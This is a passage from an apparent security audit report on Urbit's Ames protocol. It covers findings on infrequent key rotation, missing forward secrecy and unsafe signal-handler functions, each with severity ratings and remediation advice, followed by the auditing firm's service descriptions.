Implement restrictions on what and how much data AMES will handle from hosts with which it has not previously established a connection. Do not accept large packets from other ships without user authorization. Do not cache data to disk from other ships without user authorization.

INFREQUENT KEY ROTATION AND LACK OF FORWARD SECRECY

ID	93262
Component	Ames protocol
Severity	**Medium**
Impact / Skill Level	Medium/Moderate
Reference	https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure https://tools.ietf.org/html/rfc5297
Location	Urbit Ames cryptography

Observation

All keys need to be updated from time to time, especially when they are publicly disclosed. If keys are not rotated regularly, the impact of a compromised key significantly increases because all data that was encrypted with the key during the life of the key could be leaked. This is made even more impactful when perfect forward secrecy is not guaranteed. This is the idea of using short-lived keys (ephemeral) so that even if a user's private key is compromised, an attacker would not be able to generate the derived ephemeral keys in order to decrypt messages. Additionally, if an ephemeral key is compromised, it is only a compromise of the data encrypted with that key, and does not compromise the user's private key or any other ephemeral keys or data.

We observed that Urbit keys may not be rotated on a frequent basis. A ship must manually decide to rotate their key; it is not an automated process. Furthermore, the documentation and user guide does not encourage users to rotate their keys regularly.

Additionally, there are no ephemeral keys in use to guarantee perfect forward secrecy. A ship's Urbit key is used directly in order to derive a symmetric key for encrypted communications with another ship. So, a compromise of the Urbit key means that all messages encrypted during the life of the key could be decrypted. If an ephemeral key were derived securely per session, or for a specific amount of time, then a compromise of the Urbit key would not compromise the session keys or the messages encrypted with the session keys. Additionally, a compromise of a session key would not compromise the Urbit key or any other session key.

Lastly, the cryptographic algorithm in use is AES-256 using the SIV mode of operation. SIV uses AES in counter mode, where a repeated counter for different plaintext would mean a loss of security guarantees. SIV uses the S2V algorithm, which uses CMAC, to generate the nonce input to counter mode. If a collision occurred as output from S2V, it would mean the same counter would be used on different plaintexts. With all of that said, in order to safely protect against collisions and ensure certain security guarantees, the number of distinct invocations of SIV using the same key must be limited to 2^48. This is a very large number of encryptions that would need to take place, but only 1024 bytes of the message are encrypted per invocation of SIV, making it more likely to occur with enough time, without key rotation.

Impact Rationale:

An attacker with a compromised key could decrypt any messages that were sent or received by the owner's key during the (possibly long) life of that key. Additionally, they could masquerade as the

INFREQUENT KEY ROTATION AND LACK OF FORWARD SECRECY

owner of the key. Lastly, a large number of encryptions using the same key in SIV mode could cause collisions that would allow an attacker to decrypt the collided messages.

Difficulty Rationale:
An attacker must compromise a ship's private key. This is made easier because these keys do not expire and are not automatically rotated. Additionally, they are uniquely managed and stored by each individual, which could further put the keys at risk.

Recommendation

Introduce ephemeral keys with a key-sharing algorithm, such as Diffie Hellman, to reduce the impact of an Urbit key being compromised. Another option to reduce the impact is to utilize automatic key rotation on a regular basis.

If architectural changes are not an option, then at least educate Urbit users on the dangers of not rotating their keys regularly and provide instructions on how they can do this without disrupting their service.

USE OF UNSAFE FUNCTIONS IN SIGNAL HANDLER

ID	93359
Component	Ames protocol
Severity	**Low**
Impact / Skill Level	High/Advanced
Reference	https://man7.org/linux/man-pages/man7/signal-safety.7.html
Location	noun/events.c

Observation

There are a very limited subset of standard library functions that are signal safe. Using other functions inside a signal handler introduces undefined behavior.

The signal handler in noun/events.c (u3e_fault) introduces undefined behavior by using fprintf and assert.

Impact Rationale:
Unsafe function use in a signal handler can significantly reduce the effectiveness of modern mitigations and worsen the impact of other vulnerabilities.

Difficulty Rationale:
The attacker would need other vulnerabilities and would use this problem as part of an exploit chain

Recommendation

Restrict function usage from within a signal handler context to only those identified as safe by the standard.

Appendix A – Technical Services

Leviathan's Technical Services group brings deep technical knowledge to your security needs. Our portfolio of services includes software and hardware evaluation, penetration testing, red team testing, incident response, and reverse engineering. Our goal is to provide your organization with the security expertise necessary to realize your goals.

SOFTWARE EVALUATION We provide assessments of application, system, and mobile code, drawing on our employees' decades of experience in developing and securing a wide variety of software. Our work includes design and architecture reviews, data flow and threat modeling, and code analysis using targeted fuzzing to find exploitable issues.

HARDWARE EVALUATION We evaluate new hardware devices ranging from novel microprocessor designs, embedded systems, mobile devices, and consumer-facing end products, to core networking equipment that powers internet backbones.

PENETRATION & RED TEAM TESTING We perform high-end penetration tests that mimic the work of sophisticated attackers. We follow a formal penetration testing methodology that emphasizes repeatable, actionable results that give your team an understanding of the overall security posture of your organization as well as the details of discovered vulnerabilities.

SOURCE CODE-ASSISTED SECURITY EVALUATIONS We conduct security evaluations and penetration tests based on our code-assisted methodology, allowing us to find deeper vulnerabilities, logic flaws, and fuzzing targets than a black-box test would reveal. This methodology gives your team a stronger assurance that the most significant security-impacting flaws have been found, allowing your team to address them.

INCIDENT RESPONSE & FORENSICS We respond to our customers' security incidents by providing forensics, malware analysis, root cause analysis, and recommendations for how to prevent similar incidents in the future.

REVERSE ENGINEERING We assist clients with reverse engineering efforts. We provide expertise in investigations and litigation by acting as experts in cases of suspected intellectual property theft.

Appendix B – Risk and Advisory Services

Leviathan's Retained Services group is a supplement to an organization's security and risk management capability. We offer a pragmatic information security approach that respects our clients' appetites for security process and program work. We provide access to industry leading experts with a broad set of security and risk management skills, which gives our clients the ability to have deep technical knowledge, security leadership, and incident response capabilities when they are needed.

INFORMATION SECURITY STRATEGY DEVELOPMENT We partner with boards, directors, and senior executives to shape your enterprise's overall approach to meeting information security requirements consistently across an entire organization.

ENTERPRISE RISK ASSESSMENT We develop an information asset-centric view of an organization's risk that provides insight to your organization's Enterprise Risk Management capability. This service can be leveraged with annual updates, to account for your organization's changing operations, needs, and priorities.

PRIVACY & SECURITY PROGRAM EVALUATION We evaluate your organization's existing security program to give you information on compliance with external standards, such as ISO 27000 series, NIST CSF, HIPAA, or PCI-DSS. This is often most useful before a compliance event or audit and helps to drive the next phase of growth for your Security and Risk Management programs.

VENDOR RISK ASSESSMENT We assess the risk that prospective vendors bring to your organization. Our assessment framework is compatible with legislative, regulatory, and industry requirements, and helps you to make informed decisions about which vendors to hire, and when to reassess them to ensure your ongoing supply chain security.

NATIONAL & INTERNATIONAL SECURITY POLICY In 2014, we launched a public policy research and analysis service that examines the business implications of privacy and security laws and regulations worldwide. We provide an independent view of macro-scale issues related to the impact of globalization on information assets.

M&A/INVESTMENT SECURITY DUE DILIGENCE We evaluate the cybersecurity risk associated with a prospective investment or acquisition and find critical security issues before they derail a deal.

LAW FIRM SECURITY SERVICES We work with law firms as advisors, to address security incidents and proactively work to protect client confidences, defend privileged information, and ensure that conflicts do not compromise client positions. We also work in partnership with law firms to respond to their clients' security needs, including in the role of office and testifying expert witnesses.

SAAS AND CLOUD INITIATIVE EVALUATION We give objective reviews of the realistic threats your organization faces both by moving to cloud solutions and by using non-cloud infrastructure. Our employees have written or contributed to many of the major industry standards around cloud security, which allows their expertise to inform your decision-making processes.